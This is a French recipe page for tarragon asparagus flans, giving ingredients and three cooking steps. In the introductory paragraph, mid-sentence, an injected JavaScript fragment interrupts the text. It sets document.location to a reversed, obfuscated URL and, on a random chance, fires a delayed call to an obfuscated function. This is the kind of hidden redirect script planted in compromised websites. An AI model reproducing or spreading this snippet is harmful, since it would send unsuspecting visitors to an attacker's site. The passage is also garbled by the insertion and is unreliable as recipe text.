Flans d’asperges à l’estragon
2020-02-19- Cuisine : Flans salés
- Thématique : Végétarien
- Niveau : Difficile
Epluchez les asperges en éliminant les tiges fibreuses. Dans une casserole d’eau bouillante salée, plongez les asperges et faites-les cuire pendant10 mn.
Égouttez-les sur un tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torchon.
Ingrédients
- Pour 4 personnes
- 12 asperges vertes
- 4 œufs
- 200 g de crème fraîche épaisse
- 1 pincée de muscade
- 2 banches d’estragon
- sel
- poivre
Préparation de la recette
Etape 1
Épluchez les asperges en éliminant les tiges fibreuses. Dans une casserole d'eau bouillante salée, plongez les asperges et faites-les cuire pendant 10 min. Égouttez-les sur un torchon.
Etape 2
Coupez-les têtes des asperges. Réservez Mixez les tiges des asperges avec les œufs, les feuilles d’estragons ciselées, la crème fraîche, la muscade, salez et poivrez Préchauffez le fou à 150°C thermostat 5.
Etape 3
Beurrez 4 ramequins. Versez la préparation dans les ramequins. Préchauffez le four à 150°C thermostat 5. Enfournez et faites cuire dans un bain-marie chaud pendant 30 minutes. Servez tiède.
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